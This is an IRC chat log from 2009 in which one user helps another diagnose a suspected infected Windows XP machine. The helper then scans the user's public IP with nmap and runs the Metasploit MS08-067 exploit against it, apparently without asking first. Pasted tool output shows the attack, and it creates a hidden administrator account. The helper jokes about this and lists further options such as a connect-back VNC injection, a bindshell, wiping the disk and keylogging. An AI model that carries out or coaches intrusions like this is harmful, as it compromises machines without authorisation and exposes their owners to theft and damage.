[04:36:53] (fbh) TCP majicx:microsoft-ds 203-206-165-100.perm.iinet.net.au:3437 ESTABLISHED
[04:36:59] (fbh) this is connected to me
[04:37:23] (fbh) TCP majicx:1054 203.215.26.9:http CLOSE_WAIT
[04:37:56] <abcd> established eh
[04:38:09] -
[04:38:09] Nick: fbh [KARR@alba-160576ad.iinet.net.au][australia]
[04:38:09] Real Name: irc
[04:38:09] Real Host: KARR@203-206-83-216.dyn.iinet.net.au [australia]
[04:38:09] Channels: #alba
[04:38:09] Extra Info: is using a secure connection
[04:38:09] Idle Time: 45secs Sign On: Thu Jan 22 03:24:28 2009
[04:38:09] -
[04:38:15] <abcd> 203-206-83-216.dyn.iinet.net.au
[04:38:17] (fbh) TCP majicx:microsoft-ds 61-227-112-235.dynamic.hinet.net:2796 SYN_RECEIVED
[04:38:38] (fbh) i keep getting this error
[04:38:39] <abcd> see that one
[04:38:44] (fbh) svchost.exe
[04:38:45] <abcd> 203-206-83-216.dyn.iinet.net.au:445
[04:38:49] <abcd> lol
[04:39:00] <abcd> u infected again?
[04:39:06] (fbh) looks like it
[04:39:17] <abcd> u got procexp
[04:39:22] (fbh) nope
[04:39:45] (fbh) i bet its something to do with the proxies i loaded up before
[04:39:53] (fbh) cause thats whne it started
[04:40:01] <abcd> http://download.sysinternals.com/Files/SysinternalsSuite.zip
[04:40:16] <abcd> get that
[04:41:54] <abcd> in there is a bunch of programs
[04:41:58] <abcd> there is one called
[04:42:00] (fbh) Tcpview.exe ?
[04:42:02] <abcd> yeah
[04:42:03] <abcd> haha
[04:42:12] <abcd> open that
[04:42:16] <abcd> copy it all n paste
[04:43:14] (fbh) alg.exe:1008 TCP majicx:1026 majicx:0 LISTENING
[04:43:15] (fbh) jqs.exe:1788 TCP majicx:5152 localhost:1103 CLOSE_WAIT
[04:43:15] (fbh) jqs.exe:1788 TCP majicx:5152 majicx:0 LISTENING
[04:43:15] (fbh) jusched.exe:1892 TCP majicx:1054 203.215.26.9:http CLOSE_WAIT
[04:43:15] (fbh) lsass.exe:748 UDP majicx:isakmp *:*
[04:43:15] (fbh) lsass.exe:748 UDP majicx:4500 *:*
[04:43:15] (fbh) mirc.exe:2720 TCP majicx:1093 sophie.xzibition.com:13462 ESTABLISHED
[04:43:15] (fbh) mirc.exe:2720 UDP majicx:1089 *:*
[04:43:15] (fbh) mirc.exe:3960 TCP majicx:1049 66.252.1.203:6667 ESTABLISHED
[04:43:15] (fbh) mirc.exe:3960 TCP majicx:59 majicx:0 LISTENING
[04:43:15] (fbh) svchost.exe:1084 UDP majicx:1025 *:*
[04:43:15] (fbh) svchost.exe:1084 UDP majicx:1029 *:*
[04:43:15] (fbh) svchost.exe:1084 UDP majicx:1028 *:*
[04:43:15] (fbh) svchost.exe:1084 UDP majicx:ntp *:*
[04:43:15] (fbh) svchost.exe:1084 UDP majicx:ntp *:*
[04:43:35] (fbh) svchost.exe:1084 UDP majicx.mshome.net:bootps *:*
[04:43:35] (fbh) svchost.exe:1084 UDP majicx.mshome.net:bootpc *:*
[04:43:35] (fbh) svchost.exe:1084 UDP majicx.mshome.net:domain *:*
[04:43:35] (fbh) svchost.exe:1084 UDP majicx.mshome.net:ntp *:*
[04:43:35] (fbh) svchost.exe:1160 UDP majicx:1043 *:*
[04:43:35] (fbh) svchost.exe:1160 UDP majicx:1094 *:*
[04:43:35] (fbh) svchost.exe:1240 TCP majicx:2869 majicx:0 LISTENING
[04:43:35] (fbh) svchost.exe:1240 UDP majicx.mshome.net:1900 *:*
[04:43:35] (fbh) svchost.exe:1240 UDP majicx:1900 *:*
[04:43:35] (fbh) svchost.exe:1240 UDP majicx:1900 *:*
[04:43:35] (fbh) svchost.exe:960 TCP majicx:epmap majicx:0 LISTENING
[04:43:35] (fbh) System:4 TCP majicx:microsoft-ds 203-206-165-100.perm.iinet.net.au:3437 ESTABLISHED
[04:43:35] (fbh) System:4 TCP majicx:microsoft-ds majicx:0 LISTENING
[04:43:35] (fbh) System:4 TCP majicx.mshome.net:netbios-ssn majicx:0 LISTENING
[04:43:35] (fbh) System:4 UDP majicx.mshome.net:netbios-ns *:*
[04:43:35] (fbh) System:4 UDP majicx.mshome.net:netbios-dgm *:*
[04:43:35] (fbh) System:4 UDP majicx:microsoft-ds *:*
[04:43:36] (fbh) System:4 TCP majicx:microsoft-ds 203-206-165-100.perm.iinet.net.au:3437 ESTABLISHED
[04:45:47] <abcd> hmmmm
[04:47:12] <abcd> just right click on that ip
[04:47:16] <abcd> and click
[04:47:18] <abcd> close connection
[04:47:46] <abcd> make sure u dont click end process
[04:47:50] <abcd> cos that will crash ya pc
[04:48:10] (fbh) it keeps popping up on it in red
[04:48:14] (fbh) then light green
[04:48:50] (fbh) System:4 TCP majicx:microsoft-ds 61-227-112-235.dynamic.hinet.net:3804 SYN_RCVD
[04:48:58] (fbh) now this one comes up
[04:49:50] <abcd> hard 2 tell
[04:50:01] <abcd> but as long as you dont have that port forwarded
[04:50:11] <abcd> it should never get past the router
[04:50:14] (fbh) i dont have any autop update shit running at all... i hate all that stuff.. if i wanna update soemthing.. ill do it.. i never have auto
[05:28:20] (fbh) so far so good
[05:28:32] (fbh) i think it might of been my laptop mate
[05:30:42] <abcd> microsfot-ds is 445
[05:30:46] <abcd> which is file sharing
[05:30:50] <abcd> so if u had a folder open
[05:30:54] <abcd> or browsed files
[05:30:56] <abcd> or music
[05:31:02] <abcd> or anything it could be that
[05:32:02] (fbh) yeah.. network
[05:32:28] (fbh) but its not that.. that was getting my attention
[05:32:34] (fbh) this error kept coming up
[05:32:47] (fbh) and if i clicked ok .. i would have to reboot
[05:32:59] <abcd> oh
[05:32:59] (fbh) if i clicked cancal.. it would load up vs6
[05:33:04] (fbh) and go to debug ?
[05:33:07] <abcd> yeah
[05:33:12] <abcd> it crashes
[05:33:20] <abcd> and tries to load the debug file in vc
[05:33:30] (fbh) yeah
[05:34:22] (fbh) so that means
[05:34:24] <abcd> but having somethin crash a sys process is pretty bad
[05:34:25] (fbh) i got a problem
[05:34:30] (fbh) in my networking
[05:34:40] <abcd> is it vista?
[05:34:46] (fbh) nah xp
[05:34:50] (fbh) laptop linux
[05:34:54] <abcd> sp3
[05:34:56] <abcd> ?
[05:34:57] (fbh) 2
[05:35:09] <abcd> time 2 install sp3
[05:35:25] (fbh) isit worth it.. part from mayeb fixing this problem
[05:35:37] <abcd> yeah
[05:35:55] <abcd> xp is on dsl?
[05:36:00] (fbh) yeah
[05:36:31] <abcd> what router do u have again
[05:36:37] (fbh) i dont
[05:36:45] (fbh) usb modem
[05:36:56] (fbh) its old now.. but it works like a treat
[05:37:04] (fbh) dlink dsl-200
[05:37:06] -
[05:37:05] Nick: fbh [KARR@alba-ca883413.iinet.net.au][australia]
[05:37:05] Real Name: irc
[05:37:06] Real Host: KARR@203-59-203-233.dyn.iinet.net.au [australia]
[05:37:06] Channels: #alba
[05:37:06] Extra Info: is using a secure connection
[05:37:06] -
[05:37:13] <abcd> do u have any ports forwarded
[05:37:19] (fbh) nope
[05:37:23] <abcd> 203-59-203-233.dyn.iinet.net.au
[05:37:27] <abcd> is the usb modem
[05:37:56] (fbh) its not that kind of modem... plug in the usb and phone cable and thats it.. wait 2mins so it sycs.. click connect
[05:38:03] (fbh) hmm
[05:38:22] <abcd> 203-59-203-233.dyn.iinet.net.au is the modem
[05:38:25] <abcd> i going to scan u
[05:38:58] (fbh) maybe i been dosing to hard with it
[05:39:01] (fbh) haha
[05:39:25] <abcd> are you sure it isnt port forwarded or in dmz?
[05:39:44] (fbh) yep, im sure.
[05:40:01] <abcd> Initiating SYN Stealth Scan at 05:38
[05:40:01] <abcd> Scanning 203-59-203-233.dyn.iinet.net.au (203.59.203.233) [1000 ports]
[05:40:01] <abcd> Discovered open port 113/tcp on 203.59.203.233
[05:40:01] <abcd> Discovered open port 2869/tcp on 203.59.203.233
[05:40:01] <abcd> Discovered open port 445/tcp on 203.59.203.233
[05:40:01] <abcd> Increasing send delay for 203.59.203.233 from 0 to 5 due to 103 out of 342 dropped probes since last increase.
[05:40:01] <abcd> Discovered open port 135/tcp on 203.59.203.233
[05:40:01] <abcd> Completed SYN Stealth Scan at 05:39, 28.44s elapsed (1000 total ports)
[05:40:01] <abcd> Host 203-59-203-233.dyn.iinet.net.au (203.59.203.233) appears to be up ... good.
[05:40:01] <abcd> Scanned at 2009-01-22 05:38:34 W. Australia Standard Time for 29s
[05:40:01] <abcd> Interesting ports on 203-59-203-233.dyn.iinet.net.au (203.59.203.233):
[05:40:01] <abcd> Not shown: 995 closed ports
[05:40:01] <abcd> PORT STATE SERVICE
[05:40:01] <abcd> 113/tcp open auth
[05:40:01] <abcd> 135/tcp open msrpc
[05:40:01] <abcd> 445/tcp open microsoft-ds
[05:40:01] <abcd> 1720/tcp filtered H.323/Q.931
[05:40:01] <abcd> 2869/tcp open unknown
[05:40:05] (fbh) theres really no settings for it
[05:47:24] (fbh) ok.. time to add myself to the other psy
[05:47:28] (fbh) 2 fucking days mate
[05:47:31] (fbh) what a homo.
[05:47:45] (fbh) Sonia will be pissed
[05:51:36] <abcd> get the error?
[05:52:05] (fbh) yep
[05:52:08] (fbh) just then
[05:52:09] <abcd> :)
[05:52:14] <abcd> was me
[05:52:15] (fbh) its you cunt
[05:52:19] <abcd> you rports r forwarded
[05:52:26] <abcd> thats pretty bad
[05:52:30] (fbh) :/
[05:52:31] <abcd> uve probably been owned
[05:52:33] <abcd> lol
[05:52:55] <abcd> i can easily inject vnc.dll into your pc memory and have it connect back to me
[05:53:00] <abcd> 05:48:32 - Initialized the Metasploit Framework GUI.
[05:53:00] <abcd> 05:50:56 - ms08_067_netapi [*] Launching exploit windows/smb/ms08_067_netapi...
[05:53:00] <abcd> 05:50:57 - ms08_067_netapi [*] Started reverse handler
[05:53:00] <abcd> 05:50:58 - ms08_067_netapi [*] Automatically detecting the target...
[05:53:00] <abcd> 05:51:04 - ms08_067_netapi [*] Fingerprint: Windows XP Service Pack 2 - lang:English
[05:53:00] <abcd> 05:51:04 - ms08_067_netapi [*] Selected Target: Windows XP SP2 English (NX)
[05:53:00] <abcd> 05:51:05 - ms08_067_netapi [*] Triggering the vulnerability...
[05:53:23] (fbh) and what will that do?
[05:53:31] <abcd> remote exec
[05:53:41] <abcd> 100% ownage
[05:53:44] (fbh) bugger
[05:55:02] (fbh) TCP majicx:microsoft-ds ppp121-44-229-8.lns1.per1.internode.on.net:1375 ESTABLISHED
[05:55:02] (fbh) TCP majicx:1188 66.252.1.203:6667 ESTABLISHED
[05:55:02] (fbh) TCP majicx:1200 ppp121-44-229-8.lns1.per1.internode.on.net:11998 ESTABLISHED
[05:55:05] <abcd> :D
[05:55:13] <abcd> open up
[05:55:19] <abcd> cmd.exe
[05:55:22] <abcd> and type
[05:55:23] <abcd> net user
[05:55:32] <abcd> is there one called cunt?
[05:55:47] (fbh) nope
[05:55:57] (fbh) oh wait
[05:55:58] (fbh) yes
[05:56:07] <abcd> paste it?
[05:56:15] <abcd> they should just be acct names
[05:56:30] (fbh) -------------------------------------------------------------------------------
[05:56:30] (fbh) Administrator CUNT Guest
[05:56:30] (fbh) HelpAssistant SUPPORT_388945a0 VUSR_MAJICX
[05:56:30] (fbh) The command completed successfully.
[05:56:50] <abcd> is VUSR_MAJICX you?
[05:56:53] <abcd> or your acct name
[05:57:02] (fbh) account name
[05:57:13] <abcd> 05:54:31 - ms08_067_netapi [*] Launching exploit windows/smb/ms08_067_netapi...
[05:57:13] <abcd> 05:54:33 - ms08_067_netapi [*] Automatically detecting the target...
[05:57:13] <abcd> 05:54:41 - ms08_067_netapi [*] Fingerprint: Windows XP Service Pack 2 - lang:English
[05:57:13] <abcd> 05:54:41 - ms08_067_netapi [*] Selected Target: Windows XP SP2 English (NX)
[05:57:13] <abcd> 05:54:42 - ms08_067_netapi [*] Triggering the vulnerability...
[05:57:23] <abcd> a added a new admin account on your system
[05:57:29] <abcd> user cunt, pass cunt
[05:57:39] <abcd> thats prettty bad man :P
[05:57:53] <abcd> viruses and shit spread with that vuln
[05:58:01] <abcd> thats why you will be seeing the errors
[05:58:22] (fbh) haha mad.. user accounts
[05:58:26] <abcd> you should check if your router does NAT (network address translation)
[05:58:30] (fbh) CUNT, password protected
[05:58:40] <abcd> actually
[05:58:48] <abcd> does it have options 2 port forward?
[05:58:57] (fbh) nope
[05:59:01] <abcd> ahhh
[05:59:08] <abcd> cos its usb or a modem or something
[05:59:14] (fbh) yeah
[05:59:24] <abcd> should run a firewall in that case
[05:59:36] <abcd> fuck
[05:59:38] <abcd> all this time
[05:59:43] <abcd> i never bothered to check
[05:59:50] (fbh) i wanted to get the linux firewall happening.. but i don't understand it :/
[06:00:08] <abcd> use comodo free firewall
[06:00:12] <abcd> is decnt
[06:00:31] <abcd> damn
[06:00:34] <abcd> thats funny :P
[06:00:56] (fbh) http://www.netshop.co.uk/CategoryImages%5CDSL200l.jpg
[06:01:04] (fbh) its smaller than a cigg packet
[06:01:31] (fbh) so.. time to format you reckon ?
[06:01:38] <abcd> yeah for sure
[06:01:45] <abcd> would of been rootkitted by now
[06:01:52] (fbh) bugger
[06:02:10] <abcd> thats what that other cunt was doing now that i think
[06:02:31] <abcd> he just launched a bindshell
[06:02:43] <abcd> 0.0
[06:03:13] (fbh) fuck sake.. i hate doing this.. move alll my shit to the other hdd
[06:03:17] (fbh) take hours mate
[06:03:28] <abcd> just install firewall
[06:03:35] (fbh) i got owned mate
[06:03:36] <abcd> that will tell u if anyone tries any shit
[06:03:55] <abcd> yeah ya gotta secure ya shit :P
[06:04:28] (fbh) i watch what sites i go to, and dont click on any bullshit
[06:04:31] <abcd> i just downloaded metasploit soon as i saw nmap report it as open
[06:04:40] <abcd> it has a new gui
[06:04:48] <abcd> i tpee in yor ip
[06:04:59] <abcd> it gives me a list of what i want to do
[06:05:08] (fbh) oh yeah
[06:05:10] <abcd> add a user, start vnc, crash
[06:05:13] <abcd> and go
[06:05:34] (fbh) adduser i would do
[06:05:40] <abcd> i did :P
[06:05:44] <abcd> cunt/cunt
[06:06:05] <abcd> download a file
[06:06:40] (fbh) what would you of done .. instead of helping me.. not like i have anything on here usefull
[06:07:32] <abcd> used it to run a file
[06:07:45] <abcd> hell
[06:07:51] <abcd> if u really pissed someone off
[06:07:59] <abcd> they could start a bindshell
[06:08:01] <abcd> putty in
[06:08:05] <abcd> and format ya system
[06:08:30] <abcd> run a sniffer get all ya password/keystrokes
[06:09:52] (fbh) well.. no fucker is gonna be doing that shit to me
[06:09:59] (fbh) cause im gone, format time.
[06:10:08] (fbh) bbs.
[06:10:09] <abcd> you got a xp key
[06:10:13] (fbh) yeah
[06:10:24] <abcd> ok
[06:10:29] (fbh) 8am
[06:10:37] ••• quit: fbh (KARR@alba-ca883413.iinet.net.au) (Connection closed)
[06:11:00] <abcd> that is some funny shit
[06:11:18] <abcd> so many people would have owned him by now ...